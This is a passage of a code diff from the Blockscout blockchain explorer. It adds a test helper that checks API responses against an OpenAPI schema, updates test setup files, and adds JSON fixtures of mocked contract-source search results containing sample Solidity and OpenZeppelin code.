do + @moduledoc """ + Test helper that automatically validates JSON responses against the OpenAPI schema + for every GET request to `/api/*` endpoints. + + It wraps `Phoenix.ConnTest.json_response/2` to perform schema validation using + `OpenApiSpex.TestAssertions.assert_schema/3` based on the current request path, + HTTP method and status code. + """ + + require Logger + alias OpenApiSpex.{Operation, PathItem} + + @spec json_response(Plug.Conn.t(), non_neg_integer()) :: map() | list() + def json_response(%Plug.Conn{} = conn, status_code) when is_integer(status_code) do + json = Phoenix.ConnTest.json_response(conn, status_code) + + maybe_assert_schema(conn, status_code, json) + + json + end + + defp maybe_assert_schema(%Plug.Conn{method: "GET", request_path: request_path} = _conn, status_code, json) + when is_integer(status_code) and is_binary(request_path) do + if String.starts_with?(request_path, "/api/") do + spec = BlockScoutWeb.ApiSpec.spec() + + with {:path_item, {:ok, %PathItem{} = path_item}} <- {:path_item, find_path_item(spec, request_path)}, + {:operation, %Operation{} = operation} <- {:operation, Map.get(path_item, :get)}, + {:schema, {:ok, schema}} <- {:schema, find_response_schema(operation, status_code)} do + Logger.info("Validated response against schema for path: #{request_path} and status code: #{status_code}") + + OpenApiSpex.TestAssertions.assert_raw_schema(json, schema, spec) + else + {:path_item, :error} -> + Logger.warning("No schema found for path: #{request_path}") + :ok + + {:operation, _} -> + Logger.warning("No GET operation found for path: #{request_path}") + :ok + + {:schema, :error} -> + Logger.warning("No schema found for path: #{request_path} and status code: #{status_code}") + :ok + end + end + end + + defp maybe_assert_schema(_conn, _status_code, _json), do: :ok + + defp find_path_item(%{paths: paths} = _spec, request_path) when is_map(paths) do + api_relative = strip_api_prefix(request_path) + + with {:ok, {_, path_item}} <- match_template_path(paths, api_relative) do + {:ok, path_item} + else + _ -> :error + end + end + + defp strip_api_prefix("/api" <> rest), do: rest + defp strip_api_prefix(path), do: path + + defp match_template_path(paths_map, actual_path) do + actual_segments = split_path(actual_path) + + Enum.find_value(paths_map, fn {template_path, %PathItem{} = item} -> + template_segments = split_path(template_path) + + if segments_match?(template_segments, actual_segments) do + {:ok, {template_path, item}} + else + false + end + end) || :error + end + + defp split_path(path) when is_binary(path) do + path + |> String.split("?", parts: 2) + |> hd() + |> String.split("/", trim: true) + end + + defp segments_match?(template_segments, actual_segments) when length(template_segments) == length(actual_segments) do + Enum.zip(template_segments, actual_segments) + |> Enum.all?(fn {t, a} -> dynamic_segment?(t) or t == a end) + end + + defp segments_match?(_template_segments, _actual_segments), do: false + + defp dynamic_segment?(segment) when is_binary(segment) do + String.starts_with?(segment, "{") and String.ends_with?(segment, "}") + end + + defp find_response_schema(%Operation{responses: responses}, status_code) when is_map(responses) do + key = Integer.to_string(status_code) + + response = Map.get(responses, key) || Map.get(responses, status_code) || Map.get(responses, "default") + + case response do + %OpenApiSpex.Response{content: %{"application/json" => %OpenApiSpex.MediaType{schema: schema}}} -> + {:ok, schema} + + %OpenApiSpex.Reference{} = ref -> + {:ok, ref} + + _ -> + :error + end + end +end diff --git a/apps/block_scout_web/test/support/channel_case.ex b/apps/block_scout_web/test/support/channel_case.ex index 35663b91bd25..c0a7f4939a5b 100644 --- a/apps/block_scout_web/test/support/channel_case.ex +++ b/apps/block_scout_web/test/support/channel_case.ex @@ -29,7 +29,7 @@ defmodule BlockScoutWeb.ChannelCase do @dialyzer {:nowarn_function, __ex_unit_setup_0: 1} setup tags do - :ok = Ecto.Adapters.SQL.Sandbox.checkout(Explorer.Repo) + _ = Ecto.Adapters.SQL.Sandbox.checkout(Explorer.Repo) unless tags[:async] do Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo, {:shared, self()}) diff --git a/apps/block_scout_web/test/support/conn_case.ex b/apps/block_scout_web/test/support/conn_case.ex index f9ae650bf9db..fc86ff109701 100644 --- a/apps/block_scout_web/test/support/conn_case.ex +++ b/apps/block_scout_web/test/support/conn_case.ex @@ -19,26 +19,31 @@ defmodule BlockScoutWeb.ConnCase do quote do # Import conveniences for testing with connections import Plug.Conn - import Phoenix.ConnTest + import Phoenix.ConnTest, except: [json_response: 2] + import BlockScoutWeb.TestApiSchemaAssertions, only: [json_response: 2] import BlockScoutWeb.Router.Helpers - import BlockScoutWeb.WebRouter.Helpers, except: [static_path: 2] + import BlockScoutWeb.Routers.WebRouter.Helpers, except: [static_path: 2] + import BlockScoutWeb.Routers.AccountRouter.Helpers, except: [static_path: 2] + import Bureaucrat.Helpers # The default endpoint for testing @endpoint BlockScoutWeb.Endpoint import Explorer.Factory - alias BlockScoutWeb.AdminRouter.Helpers, as: AdminRoutes - alias BlockScoutWeb.ApiRouter.Helpers, as: ApiRoutes + alias BlockScoutWeb.Routers.AdminRouter.Helpers, as: AdminRoutes + alias BlockScoutWeb.Routers.ApiRouter.Helpers, as: ApiRoutes end end @dialyzer {:nowarn_function, __ex_unit_setup_0: 1} setup tags do :ok = Ecto.Adapters.SQL.Sandbox.checkout(Explorer.Repo) + :ok = Ecto.Adapters.SQL.Sandbox.checkout(Explorer.Repo.Account) unless tags[:async] do Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo, {:shared, self()}) + Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo.Account, {:shared, self()}) end Supervisor.terminate_child(Explorer.Supervisor, Explorer.Chain.Cache.Transactions.child_id()) diff --git a/apps/block_scout_web/test/support/fixture/smart_contract/eth_bytecode_db_search_all_alliance_sources_partial_response.json b/apps/block_scout_web/test/support/fixture/smart_contract/eth_bytecode_db_search_all_alliance_sources_partial_response.json new file mode 100644 index 000000000000..ab9ba705ed1f --- /dev/null +++ b/apps/block_scout_web/test/support/fixture/smart_contract/eth_bytecode_db_search_all_alliance_sources_partial_response.json @@ -0,0 +1,43 @@ +{ + "ethBytecodeDbSources": [ + { + "fileName": "Test_eth.sol", + "contractName": "Test", + "compilerVersion": "v0.8.17+commit.8df45f5f", + "compilerSettings": "{\"libraries\":{\"Test.sol\":{}},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":199},\"outputSelection\":{\"*\":{\"\":[\"ast\"],\"*\":[\"abi\",\"evm.bytecode\",\"evm.deployedBytecode\",\"evm.methodIdentifiers\"]}}}", + "sourceType": "SOLIDITY", + "sourceFiles": { + "Test_eth.sol": "// SPDX-License-Identifier: MIT\r\n\r\npragma solidity 0.8.17;\r\n\r\ncontract Test {\r\n enum E {\r\n V1, V2, V3, V4\r\n }\r\n struct A {\r\n E a;\r\n uint256[] b;\r\n B[] c;\r\n }\r\n\r\n struct B {\r\n uint256 d;\r\n uint256 e;\r\n }\r\n\r\n function get(uint256 x) external pure returns (A memory) {\r\n uint256[] memory b = new uint256[](3);\r\n b[0] = 1;\r\n b[1] = 2;\r\n b[2] = 3;\r\n B[] memory c = new B[](3);\r\n c[0] = B(1, 2);\r\n c[1] = B(3, 4);\r\n c[2] = B(5, 6);\r\n return A(E.V3, b, c);\r\n }\r\n}" + }, + "abi": "[{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"x\",\"type\":\"uint256\"}],\"name\":\"get\",\"outputs\":[{\"components\":[{\"type\":\"uint8\"},{\"type\":\"uint256[]\"},{\"components\":[{\"type\":\"uint256\"},{\"type\":\"uint256\"}],\"type\":\"tuple[]\"}],\"internalType\":\"struct Test.A\",\"name\":\"\",\"type\":\"tuple\"}],\"stateMutability\":\"pure\",\"type\":\"function\"}]", + "constructorArguments": "0x0000000000000000000000003e5c63644e683549055b9be8653de26e0b4cd36e", + "matchType": "FULL" + } + ], + "sourcifySources": [{ + "fileName": "Test.sol", + "contractName": "Test", + "compilerVersion": "v0.8.17+commit.8df45f5f", + "compilerSettings": "{\"libraries\":{\"\":{\"__CACHE_BREAKER__\":\"0x00000000d41867734bbee4c6863d9255b2b06ac1\"}},\"metadata\":{\"useLiteralContent\":true},\"optimizer\":{\"enabled\":true,\"runs\":200},\"outputSelection\":{\"*\":{\"*\":[\"abi\",\"evm.bytecode\",\"evm.deployedBytecode\",\"evm.methodIdentifiers\"]}}}", + "sourceType": "SOLIDITY", + "sourceFiles": { + "Test.sol": "// SPDX-License-Identifier: MIT\r\n\r\npragma solidity 0.8.17;\r\n\r\ncontract Test {\r\n enum E {\r\n V1, V2, V3, V4\r\n }\r\n struct A {\r\n E a;\r\n uint256[] b;\r\n B[] c;\r\n }\r\n\r\n struct B {\r\n uint256 d;\r\n uint256 e;\r\n }\r\n\r\n function get(uint256 x) external pure returns (A memory) {\r\n uint256[] memory b = new uint256[](3);\r\n b[0] = 1;\r\n b[1] = 2;\r\n b[2] = 3;\r\n B[] memory c = new B[](3);\r\n c[0] = B(1, 2);\r\n c[1] = B(3, 4);\r\n c[2] = B(5, 6);\r\n return A(E.V3, b, c);\r\n }\r\n}" + }, + "abi": "[{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"x\",\"type\":\"uint256\"}],\"name\":\"get\",\"outputs\":[{\"components\":[{\"type\":\"uint8\"},{\"type\":\"uint256[]\"},{\"components\":[{\"type\":\"uint256\"},{\"type\":\"uint256\"}],\"type\":\"tuple[]\"}],\"internalType\":\"struct Test.A\",\"name\":\"\",\"type\":\"tuple\"}],\"stateMutability\":\"pure\",\"type\":\"function\"}]", + "constructorArguments": "0x0000000000000000000000003e5c63644e683549055b9be8653de26e0b4cd36e", + "matchType": "FULL" + }], + "allianceSources": [{ + "fileName": "Test_1.sol", + "contractName": "Test", + "compilerVersion": "v0.8.17+commit.8df45f5f", + "compilerSettings": "{\"libraries\":{\"\":{\"__CACHE_BREAKER__\":\"0x00000000d41867734bbee4c6863d9255b2b06ac1\"}},\"metadata\":{\"useLiteralContent\":true},\"optimizer\":{\"enabled\":true,\"runs\":200},\"outputSelection\":{\"*\":{\"*\":[\"abi\",\"evm.bytecode\",\"evm.deployedBytecode\",\"evm.methodIdentifiers\"]}}}", + "sourceType": "SOLIDITY", + "sourceFiles": { + "Test_1.sol": "// SPDX-License-Identifier: MIT\r\n\r\npragma solidity 0.8.17;\r\n\r\ncontract Test {\r\n enum E {\r\n V1, V2, V3, V4\r\n }\r\n struct A {\r\n E a;\r\n uint256[] b;\r\n B[] c;\r\n }\r\n\r\n struct B {\r\n uint256 d;\r\n uint256 e;\r\n }\r\n\r\n function get(uint256 x) external pure returns (A memory) {\r\n uint256[] memory b = new uint256[](3);\r\n b[0] = 1;\r\n b[1] = 2;\r\n b[2] = 3;\r\n B[] memory c = new B[](3);\r\n c[0] = B(1, 2);\r\n c[1] = B(3, 4);\r\n c[2] = B(5, 6);\r\n return A(E.V3, b, c);\r\n }\r\n}" + }, + "abi": "[{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"x\",\"type\":\"uint256\"}],\"name\":\"get\",\"outputs\":[{\"components\":[{\"type\":\"uint8\"},{\"type\":\"uint256[]\"},{\"components\":[{\"type\":\"uint256\"},{\"type\":\"uint256\"}],\"type\":\"tuple[]\"}],\"internalType\":\"struct Test.A\",\"name\":\"\",\"type\":\"tuple\"}],\"stateMutability\":\"pure\",\"type\":\"function\"}]", + "constructorArguments": "0x0000000000000000000000003e5c63644e683549055b9be8653de26e0b4cd36e", + "matchType": "PARTIAL" + }] + } \ No newline at end of file diff --git a/apps/block_scout_web/test/support/fixture/smart_contract/eth_bytecode_db_search_all_alliance_sources_partial_response_eth_bdb_full.json b/apps/block_scout_web/test/support/fixture/smart_contract/eth_bytecode_db_search_all_alliance_sources_partial_response_eth_bdb_full.json new file mode 100644 index 000000000000..dba7a19eecc7 --- /dev/null +++ b/apps/block_scout_web/test/support/fixture/smart_contract/eth_bytecode_db_search_all_alliance_sources_partial_response_eth_bdb_full.json @@ -0,0 +1,43 @@ +{ + "ethBytecodeDbSources": [ + { + "fileName": "Test_eth.sol", + "contractName": "Test", + "compilerVersion": "v0.8.17+commit.8df45f5f", + "compilerSettings": "{\"libraries\":{\"\":{\"__CACHE_BREAKER__\":\"0x00000000d41867734bbee4c6863d9255b2b06ac1\"}},\"metadata\":{\"useLiteralContent\":true},\"optimizer\":{\"enabled\":true,\"runs\":200},\"outputSelection\":{\"*\":{\"*\":[\"abi\",\"evm.bytecode\",\"evm.deployedBytecode\",\"evm.methodIdentifiers\"]}}}", + "sourceType": "SOLIDITY", + "sourceFiles": { + "Test_eth.sol": "// SPDX-License-Identifier: MIT\r\n\r\npragma solidity 0.8.17;\r\n\r\ncontract Test {\r\n enum E {\r\n V1, V2, V3, V4\r\n }\r\n struct A {\r\n E a;\r\n uint256[] b;\r\n B[] c;\r\n }\r\n\r\n struct B {\r\n uint256 d;\r\n uint256 e;\r\n }\r\n\r\n function get(uint256 x) external pure returns (A memory) {\r\n uint256[] memory b = new uint256[](3);\r\n b[0] = 1;\r\n b[1] = 2;\r\n b[2] = 3;\r\n B[] memory c = new B[](3);\r\n c[0] = B(1, 2);\r\n c[1] = B(3, 4);\r\n c[2] = B(5, 6);\r\n return A(E.V3, b, c);\r\n }\r\n}" + }, + "abi": "[{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"x\",\"type\":\"uint256\"}],\"name\":\"get\",\"outputs\":[{\"components\":[{\"type\":\"uint8\"},{\"type\":\"uint256[]\"},{\"components\":[{\"type\":\"uint256\"},{\"type\":\"uint256\"}],\"type\":\"tuple[]\"}],\"internalType\":\"struct Test.A\",\"name\":\"\",\"type\":\"tuple\"}],\"stateMutability\":\"pure\",\"type\":\"function\"}]", + "constructorArguments": "0x0000000000000000000000003e5c63644e683549055b9be8653de26e0b4cd36e", + "matchType": "FULL" + } + ], + "sourcifySources": [{ + "fileName": "Test.sol", + "contractName": "Test", + "compilerVersion": "v0.8.17+commit.8df45f5f", + "compilerSettings": "{\"libraries\":{\"\":{\"__CACHE_BREAKER__\":\"0x00000000d41867734bbee4c6863d9255b2b06ac1\"}},\"metadata\":{\"useLiteralContent\":true},\"optimizer\":{\"enabled\":true,\"runs\":200},\"outputSelection\":{\"*\":{\"*\":[\"abi\",\"evm.bytecode\",\"evm.deployedBytecode\",\"evm.methodIdentifiers\"]}}}", + "sourceType": "SOLIDITY", + "sourceFiles": { + "Test.sol": "// SPDX-License-Identifier: MIT\r\n\r\npragma solidity 0.8.17;\r\n\r\ncontract Test {\r\n enum E {\r\n V1, V2, V3, V4\r\n }\r\n struct A {\r\n E a;\r\n uint256[] b;\r\n B[] c;\r\n }\r\n\r\n struct B {\r\n uint256 d;\r\n uint256 e;\r\n }\r\n\r\n function get(uint256 x) external pure returns (A memory) {\r\n uint256[] memory b = new uint256[](3);\r\n b[0] = 1;\r\n b[1] = 2;\r\n b[2] = 3;\r\n B[] memory c = new B[](3);\r\n c[0] = B(1, 2);\r\n c[1] = B(3, 4);\r\n c[2] = B(5, 6);\r\n return A(E.V3, b, c);\r\n }\r\n}" + }, + "abi": "[{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"x\",\"type\":\"uint256\"}],\"name\":\"get\",\"outputs\":[{\"components\":[{\"type\":\"uint8\"},{\"type\":\"uint256[]\"},{\"components\":[{\"type\":\"uint256\"},{\"type\":\"uint256\"}],\"type\":\"tuple[]\"}],\"internalType\":\"struct Test.A\",\"name\":\"\",\"type\":\"tuple\"}],\"stateMutability\":\"pure\",\"type\":\"function\"}]", + "constructorArguments": "0x0000000000000000000000003e5c63644e683549055b9be8653de26e0b4cd36e", + "matchType": "PARTIAL" + }], + "allianceSources": [{ + "fileName": "Test_1.sol", + "contractName": "Test", + "compilerVersion": "v0.8.17+commit.8df45f5f", + "compilerSettings": "{\"libraries\":{\"\":{\"__CACHE_BREAKER__\":\"0x00000000d41867734bbee4c6863d9255b2b06ac1\"}},\"metadata\":{\"useLiteralContent\":true},\"optimizer\":{\"enabled\":true,\"runs\":200},\"outputSelection\":{\"*\":{\"*\":[\"abi\",\"evm.bytecode\",\"evm.deployedBytecode\",\"evm.methodIdentifiers\"]}}}", + "sourceType": "SOLIDITY", + "sourceFiles": { + "Test_1.sol": "// SPDX-License-Identifier: MIT\r\n\r\npragma solidity 0.8.17;\r\n\r\ncontract Test {\r\n enum E {\r\n V1, V2, V3, V4\r\n }\r\n struct A {\r\n E a;\r\n uint256[] b;\r\n B[] c;\r\n }\r\n\r\n struct B {\r\n uint256 d;\r\n uint256 e;\r\n }\r\n\r\n function get(uint256 x) external pure returns (A memory) {\r\n uint256[] memory b = new uint256[](3);\r\n b[0] = 1;\r\n b[1] = 2;\r\n b[2] = 3;\r\n B[] memory c = new B[](3);\r\n c[0] = B(1, 2);\r\n c[1] = B(3, 4);\r\n c[2] = B(5, 6);\r\n return A(E.V3, b, c);\r\n }\r\n}" + }, + "abi": "[{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"x\",\"type\":\"uint256\"}],\"name\":\"get\",\"outputs\":[{\"components\":[{\"type\":\"uint8\"},{\"type\":\"uint256[]\"},{\"components\":[{\"type\":\"uint256\"},{\"type\":\"uint256\"}],\"type\":\"tuple[]\"}],\"internalType\":\"struct Test.A\",\"name\":\"\",\"type\":\"tuple\"}],\"stateMutability\":\"pure\",\"type\":\"function\"}]", + "constructorArguments": "0x0000000000000000000000003e5c63644e683549055b9be8653de26e0b4cd36e", + "matchType": "PARTIAL" + }] + } \ No newline at end of file diff --git a/apps/block_scout_web/test/support/fixture/smart_contract/eth_bytecode_db_search_all_alliance_sources_response.json b/apps/block_scout_web/test/support/fixture/smart_contract/eth_bytecode_db_search_all_alliance_sources_response.json new file mode 100644 index 000000000000..97ae920c2b05 --- /dev/null +++ b/apps/block_scout_web/test/support/fixture/smart_contract/eth_bytecode_db_search_all_alliance_sources_response.json @@ -0,0 +1,43 @@ +{ + "ethBytecodeDbSources": [ + { + "fileName": "Test_eth.sol", + "contractName": "Test", + "compilerVersion": "v0.8.17+commit.8df45f5f", + "compilerSettings": "{\"libraries\":{\"Test.sol\":{}},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":199},\"outputSelection\":{\"*\":{\"\":[\"ast\"],\"*\":[\"abi\",\"evm.bytecode\",\"evm.deployedBytecode\",\"evm.methodIdentifiers\"]}}}", + "sourceType": "SOLIDITY", + "sourceFiles": { + "Test_eth.sol": "// SPDX-License-Identifier: MIT\r\n\r\npragma solidity 0.8.17;\r\n\r\ncontract Test {\r\n enum E {\r\n V1, V2, V3, V4\r\n }\r\n struct A {\r\n E a;\r\n uint256[] b;\r\n B[] c;\r\n }\r\n\r\n struct B {\r\n uint256 d;\r\n uint256 e;\r\n }\r\n\r\n function get(uint256 x) external pure returns (A memory) {\r\n uint256[] memory b = new uint256[](3);\r\n b[0] = 1;\r\n b[1] = 2;\r\n b[2] = 3;\r\n B[] memory c = new B[](3);\r\n c[0] = B(1, 2);\r\n c[1] = B(3, 4);\r\n c[2] = B(5, 6);\r\n return A(E.V3, b, c);\r\n }\r\n}" + }, + "abi": "[{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"x\",\"type\":\"uint256\"}],\"name\":\"get\",\"outputs\":[{\"components\":[{\"type\":\"uint8\"},{\"type\":\"uint256[]\"},{\"components\":[{\"type\":\"uint256\"},{\"type\":\"uint256\"}],\"type\":\"tuple[]\"}],\"internalType\":\"struct Test.A\",\"name\":\"\",\"type\":\"tuple\"}],\"stateMutability\":\"pure\",\"type\":\"function\"}]", + "constructorArguments": "0x0000000000000000000000003e5c63644e683549055b9be8653de26e0b4cd36e", + "matchType": "PARTIAL" + } + ], + "sourcifySources": [{ + "fileName": "Test.sol", + "contractName": "Test", + "compilerVersion": "v0.8.17+commit.8df45f5f", + "compilerSettings": "{\"libraries\":{\"Test.sol\":{}},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":199},\"outputSelection\":{\"*\":{\"\":[\"ast\"],\"*\":[\"abi\",\"evm.bytecode\",\"evm.deployedBytecode\",\"evm.methodIdentifiers\"]}}}", + "sourceType": "SOLIDITY", + "sourceFiles": { + "Test.sol": "// SPDX-License-Identifier: MIT\r\n\r\npragma solidity 0.8.17;\r\n\r\ncontract Test {\r\n enum E {\r\n V1, V2, V3, V4\r\n }\r\n struct A {\r\n E a;\r\n uint256[] b;\r\n B[] c;\r\n }\r\n\r\n struct B {\r\n uint256 d;\r\n uint256 e;\r\n }\r\n\r\n function get(uint256 x) external pure returns (A memory) {\r\n uint256[] memory b = new uint256[](3);\r\n b[0] = 1;\r\n b[1] = 2;\r\n b[2] = 3;\r\n B[] memory c = new B[](3);\r\n c[0] = B(1, 2);\r\n c[1] = B(3, 4);\r\n c[2] = B(5, 6);\r\n return A(E.V3, b, c);\r\n }\r\n}" + }, + "abi": "[{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"x\",\"type\":\"uint256\"}],\"name\":\"get\",\"outputs\":[{\"components\":[{\"type\":\"uint8\"},{\"type\":\"uint256[]\"},{\"components\":[{\"type\":\"uint256\"},{\"type\":\"uint256\"}],\"type\":\"tuple[]\"}],\"internalType\":\"struct Test.A\",\"name\":\"\",\"type\":\"tuple\"}],\"stateMutability\":\"pure\",\"type\":\"function\"}]", + "constructorArguments": "0x0000000000000000000000003e5c63644e683549055b9be8653de26e0b4cd36e", + "matchType": "PARTIAL" + }], + "allianceSources": [{ + "fileName": "Test_1.sol", + "contractName": "Test", + "compilerVersion": "v0.8.17+commit.8df45f5f", + "compilerSettings": "{\"libraries\":{\"\":{\"__CACHE_BREAKER__\":\"0x00000000d41867734bbee4c6863d9255b2b06ac1\"}},\"metadata\":{\"useLiteralContent\":true},\"optimizer\":{\"enabled\":true,\"runs\":200},\"outputSelection\":{\"*\":{\"*\":[\"abi\",\"evm.bytecode\",\"evm.deployedBytecode\",\"evm.methodIdentifiers\"]}}}", + "sourceType": "SOLIDITY", + "sourceFiles": { + "Test_1.sol": "// SPDX-License-Identifier: MIT\r\n\r\npragma solidity 0.8.17;\r\n\r\ncontract Test {\r\n enum E {\r\n V1, V2, V3, V4\r\n }\r\n struct A {\r\n E a;\r\n uint256[] b;\r\n B[] c;\r\n }\r\n\r\n struct B {\r\n uint256 d;\r\n uint256 e;\r\n }\r\n\r\n function get(uint256 x) external pure returns (A memory) {\r\n uint256[] memory b = new uint256[](3);\r\n b[0] = 1;\r\n b[1] = 2;\r\n b[2] = 3;\r\n B[] memory c = new B[](3);\r\n c[0] = B(1, 2);\r\n c[1] = B(3, 4);\r\n c[2] = B(5, 6);\r\n return A(E.V3, b, c);\r\n }\r\n}" + }, + "abi": "[{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"x\",\"type\":\"uint256\"}],\"name\":\"get\",\"outputs\":[{\"components\":[{\"type\":\"uint8\"},{\"type\":\"uint256[]\"},{\"components\":[{\"type\":\"uint256\"},{\"type\":\"uint256\"}],\"type\":\"tuple[]\"}],\"internalType\":\"struct Test.A\",\"name\":\"\",\"type\":\"tuple\"}],\"stateMutability\":\"pure\",\"type\":\"function\"}]", + "constructorArguments": "0x0000000000000000000000003e5c63644e683549055b9be8653de26e0b4cd36e", + "matchType": "PARTIAL" + }] + } \ No newline at end of file diff --git a/apps/block_scout_web/test/support/fixture/smart_contract/eth_bytecode_db_search_all_local_sources_response.json b/apps/block_scout_web/test/support/fixture/smart_contract/eth_bytecode_db_search_all_local_sources_response.json new file mode 100644 index 000000000000..69d1e1876b84 --- /dev/null +++ b/apps/block_scout_web/test/support/fixture/smart_contract/eth_bytecode_db_search_all_local_sources_response.json @@ -0,0 +1,59 @@ +{ + "ethBytecodeDbSources": [ + { + "fileName": "contracts/uniswapv2/UniswapV2Router02.sol", + "contractName": "UniswapV2Router02", + "compilerVersion": "v0.6.12+commit.27d51765", + "compilerSettings": "{\"libraries\":{\"\":{\"__CACHE_BREAKER__\":\"0x00000000d41867734bbee4c6863d9255b2b06ac1\"}},\"metadata\":{\"useLiteralContent\":true},\"optimizer\":{\"enabled\":true,\"runs\":200},\"outputSelection\":{\"*\":{\"*\":[\"abi\",\"evm.bytecode\",\"evm.deployedBytecode\",\"evm.methodIdentifiers\"]}}}", + "sourceType": "SOLIDITY", + "sourceFiles": { + "@openzeppelin/contracts/access/Ownable.sol": "// SPDX-License-Identifier: MIT\n\npragma solidity >=0.6.0 <0.8.0;\n\nimport \"../utils/Context.sol\";\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * By default, the owner account will be the one that deploys the contract. This\n * can later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n /**\n * @dev Initializes the contract setting the deployer as the initial owner.\n */\n constructor () internal {\n address msgSender = _msgSender();\n _owner = msgSender;\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n /**\n * @dev Returns the address of the current owner.\n */\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions anymore. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby removing any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n _owner = address(0);\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Can only be called by the current owner.\n */\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"Ownable: new owner is the zero address\");\n emit OwnershipTransferred(_owner, newOwner);\n _owner = newOwner;\n }\n}\n", + "@openzeppelin/contracts/math/SafeMath.sol": "// SPDX-License-Identifier: MIT\n\npragma solidity >=0.6.0 <0.8.0;\n\n/**\n * @dev Wrappers over Solidity's arithmetic operations with added overflow\n * checks.\n *\n * Arithmetic operations in Solidity wrap on overflow. This can easily result\n * in bugs, because programmers usually assume that an overflow raises an\n * error, which is the standard behavior in high level programming languages.\n * `SafeMath` restores this intuition by reverting the transaction when an\n * operation overflows.\n *\n * Using this library instead of the unchecked operations eliminates an entire\n * class of bugs, so it's recommended to use it always.\n */\nlibrary SafeMath {\n /**\n * @dev Returns the addition of two unsigned integers, with an overflow flag.\n *\n * _Available since v3.4._\n */\n function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n uint256 c = a + b;\n if (c < a) return (false, 0);\n return (true, c);\n }\n\n /**\n * @dev Returns the substraction of two unsigned integers, with an overflow flag.\n *\n * _Available since v3.4._\n */\n function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n if (b > a) return (false, 0);\n return (true, a - b);\n }\n\n /**\n * @dev Returns the multiplication of two unsigned integers, with an overflow flag.\n *\n * _Available since v3.4._\n */\n function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n // Gas optimization: this is cheaper than requiring 'a' not being zero, but the\n // benefit is lost if 'b' is also tested.\n // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522\n if (a == 0) return (true, 0);\n uint256 c = a * b;\n if (c / a != b) return (false, 0);\n return (true, c);\n }\n\n /**\n * @dev Returns the division of two unsigned integers, with a division by zero flag.\n *\n * _Available since v3.4._\n */\n function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n if (b == 0) return (false, 0);\n return (true, a / b);\n }\n\n /**\n * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.\n *\n * _Available since v3.4._\n */\n function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n if (b == 0) return (false, 0);\n return (true, a % b);\n }\n\n /**\n * @dev Returns the addition of two unsigned integers, reverting on\n * overflow.\n *\n * Counterpart to Solidity's `+` operator.\n *\n * Requirements:\n *\n * - Addition cannot overflow.\n */\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n require(c >= a, \"SafeMath: addition overflow\");\n return c;\n }\n\n /**\n * @dev Returns the subtraction of two unsigned integers, reverting on\n * overflow (when the result is negative).\n *\n * Counterpart to Solidity's `-` operator.\n *\n * Requirements:\n *\n * - Subtraction cannot overflow.\n */\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b <= a, \"SafeMath: subtraction overflow\");\n return a - b;\n }\n\n /**\n * @dev Returns the multiplication of two unsigned integers, reverting on\n * overflow.\n *\n * Counterpart to Solidity's `*` operator.\n *\n * Requirements:\n *\n * - Multiplication cannot overflow.\n */\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) return 0;\n uint256 c = a * b;\n require(c / a == b, \"SafeMath: multiplication overflow\");\n return c;\n }\n\n /**\n * @dev Returns the integer division of two unsigned integers, reverting on\n * division by zero. The result is rounded towards zero.\n *\n * Counterpart to Solidity's `/` operator. Note: this function uses a\n * `revert` opcode (which leaves remaining gas untouched) while Solidity\n * uses an invalid opcode to revert (consuming all remaining gas).\n *\n * Requirements:\n *\n * - The divisor cannot be zero.\n */\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b > 0, \"SafeMath: division by zero\");\n return a / b;\n }\n\n /**\n * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),\n * reverting when dividing by zero.\n *\n * Counterpart to Solidity's `%` operator. This function uses a `revert`\n * opcode (which leaves remaining gas untouched) while Solidity uses an\n * invalid opcode to revert (consuming all remaining gas).\n *\n * Requirements:\n *\n * - The divisor cannot be zero.\n */\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b > 0, \"SafeMath: modulo by zero\");\n return a % b;\n }\n\n /**\n * @dev Returns the subtraction of two unsigned integers, reverting with custom message on\n * overflow (when the result is negative).\n *\n * CAUTION: This function is deprecated because it requires allocating memory for the error\n * 